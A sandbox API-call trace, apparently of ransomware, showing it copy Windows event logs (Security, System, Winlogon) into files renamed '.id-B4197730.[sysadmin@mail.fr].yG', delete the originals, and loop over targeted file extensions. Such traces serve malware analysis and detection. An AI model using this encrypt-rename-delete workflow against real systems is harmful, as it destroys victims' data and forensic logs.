	[0053.673] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.674] GetLastError () returned 0x0
	[0053.674] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.826] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.831] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.831] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x12c, lpOverlapped=0x0) returned 1
	[0053.831] SetEndOfFile (hFile=0x394) returned 1
	[0053.831] CloseHandle (hObject=0x394) returned 1
	[0053.839] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.839] SetEndOfFile (hFile=0x350) returned 1
	[0053.843] CloseHandle (hObject=0x350) returned 1
	[0053.845] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.845] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString=".doc") returned 4
	[0053.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".docx") returned 5
	[0053.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.852] lstrlenW (lpString=".pdf") returned 4
	[0053.852] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".xls") returned 4
	[0053.852] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".xlsx") returned 5
	[0053.852] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.852] lstrlenW (lpString=".ppt") returned 4
	[0053.852] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString=".zip") returned 4
	[0053.852] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".rar") returned 4
	[0053.852] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".bz2") returned 4
	[0053.852] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString=".7z") returned 3
	[0053.852] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString=".dbf") returned 4
	[0053.852] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString=".1cd") returned 4
	[0053.852] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString=".jpg") returned 4
	[0053.852] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.853] lstrlenW (lpString=".doc") returned 4
	[0053.853] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".docx") returned 5
	[0053.853] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.853] lstrlenW (lpString=".pdf") returned 4
	[0053.853] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".xls") returned 4
	[0053.853] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".xlsx") returned 5
	[0053.853] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.853] lstrlenW (lpString=".ppt") returned 4
	[0053.853] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.853] lstrlenW (lpString=".zip") returned 4
	[0053.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".rar") returned 4
	[0053.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".bz2") returned 4
	[0053.853] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString=".7z") returned 3
	[0053.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.853] lstrlenW (lpString=".dbf") returned 4
	[0053.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.853] lstrlenW (lpString=".1cd") returned 4
	[0053.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0053.853] lstrlenW (lpString=".jpg") returned 4
	[0053.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.853] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.853] lstrlenW (lpString="Security.evtx") returned 13
	[0053.853] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.855] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1118208) returned 1
	[0053.855] CloseHandle (hObject=0x35c) returned 1
	[0053.855] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0053.855] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\security.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.869] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.869] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.870] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\security.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.897] GetLastError () returned 0x0
	[0053.897] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0053.957] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0053.974] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11010, lpOverlapped=0x0) returned 1
	[0054.590] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11020, lpOverlapped=0x0) returned 1
	[0054.595] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.595] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xee, lpOverlapped=0x0) returned 1
	[0054.595] SetEndOfFile (hFile=0x394) returned 1
	[0054.595] CloseHandle (hObject=0x394) returned 1
	[0054.797] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.797] SetEndOfFile (hFile=0x35c) returned 1
	[0054.798] CloseHandle (hObject=0x35c) returned 1
	[0054.798] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0054.798] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1
	[0054.798] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.798] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.798] lstrlenW (lpString=".doc") returned 4
	[0054.798] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.798] lstrlenW (lpString=".docx") returned 5
	[0054.799] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.799] lstrlenW (lpString=".pdf") returned 4
	[0054.799] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".xls") returned 4
	[0054.799] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".xlsx") returned 5
	[0054.799] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.799] lstrlenW (lpString=".ppt") returned 4
	[0054.799] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString=".zip") returned 4
	[0054.799] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".rar") returned 4
	[0054.799] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".bz2") returned 4
	[0054.799] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".7z") returned 3
	[0054.799] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString=".dbf") returned 4
	[0054.799] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString=".1cd") returned 4
	[0054.799] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString=".jpg") returned 4
	[0054.799] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.799] lstrlenW (lpString=".doc") returned 4
	[0054.799] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.799] lstrlenW (lpString=".docx") returned 5
	[0054.799] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.799] lstrlenW (lpString=".pdf") returned 4
	[0054.800] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString=".xls") returned 4
	[0054.800] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString=".xlsx") returned 5
	[0054.800] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.800] lstrlenW (lpString=".ppt") returned 4
	[0054.800] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.800] lstrlenW (lpString=".zip") returned 4
	[0054.800] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString=".rar") returned 4
	[0054.800] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString=".bz2") returned 4
	[0054.800] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString=".7z") returned 3
	[0054.800] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.800] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.800] lstrlenW (lpString=".dbf") returned 4
	[0054.800] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.800] lstrlenW (lpString=".1cd") returned 4
	[0054.800] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.800] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0054.800] lstrlenW (lpString=".jpg") returned 4
	[0054.800] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.800] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0054.800] lstrlenW (lpString="System.evtx") returned 11
	[0054.800] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0054.801] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1118208) returned 1
	[0054.801] CloseHandle (hObject=0x35c) returned 1
	[0054.801] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0054.801] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\system.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0054.801] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0054.801] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.801] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.801] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\system.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0054.802] GetLastError () returned 0x0
	[0054.802] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.162] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.178] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11010, lpOverlapped=0x0) returned 1
	[0055.709] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11020, lpOverlapped=0x0) returned 1
	[0055.713] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.713] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1
	[0055.713] SetEndOfFile (hFile=0x394) returned 1
	[0055.714] CloseHandle (hObject=0x394) returned 1
	[0055.784] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.784] SetEndOfFile (hFile=0x35c) returned 1
	[0055.785] CloseHandle (hObject=0x35c) returned 1
	[0055.785] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.786] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1
	[0055.786] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.786] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.786] lstrlenW (lpString=".doc") returned 4
	[0055.786] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".docx") returned 5
	[0055.786] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0055.786] lstrlenW (lpString=".pdf") returned 4
	[0055.786] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".xls") returned 4
	[0055.786] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".xlsx") returned 5
	[0055.786] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0055.786] lstrlenW (lpString=".ppt") returned 4
	[0055.786] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.786] lstrlenW (lpString=".zip") returned 4
	[0055.786] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".rar") returned 4
	[0055.786] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".bz2") returned 4
	[0055.786] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0055.786] lstrlenW (lpString=".7z") returned 3
	[0055.786] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0055.786] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.786] lstrlenW (lpString=".dbf") returned 4
	[0055.787] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".1cd") returned 4
	[0055.787] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".jpg") returned 4
	[0055.787] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".doc") returned 4
	[0055.787] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".docx") returned 5
	[0055.787] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0055.787] lstrlenW (lpString=".pdf") returned 4
	[0055.787] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".xls") returned 4
	[0055.787] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".xlsx") returned 5
	[0055.787] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0055.787] lstrlenW (lpString=".ppt") returned 4
	[0055.787] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".zip") returned 4
	[0055.787] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".rar") returned 4
	[0055.787] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".bz2") returned 4
	[0055.787] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString=".7z") returned 3
	[0055.787] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".dbf") returned 4
	[0055.787] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".1cd") returned 4
	[0055.787] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0055.787] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0055.787] lstrlenW (lpString=".jpg") returned 4
	[0055.788] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0055.788] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.788] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0055.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0055.788] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1402584) returned 1
	[0055.788] CloseHandle (hObject=0x35c) returned 1
	[0055.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0055.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.788] lstrlenW (lpString=".doc") returned 4
	[0055.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.788] lstrlenW (lpString=".docx") returned 5
	[0055.788] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0055.789] lstrlenW (lpString=".pdf") returned 4
	[0055.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".xls") returned 4
	[0055.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".xlsx") returned 5
	[0055.789] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0055.789] lstrlenW (lpString=".ppt") returned 4
	[0055.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString=".zip") returned 4
	[0055.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".rar") returned 4
	[0055.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".bz2") returned 4
	[0055.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.789] lstrlenW (lpString=".7z") returned 3
	[0055.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString=".dbf") returned 4
	[0055.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString=".1cd") returned 4
	[0055.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString=".jpg") returned 4
	[0055.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
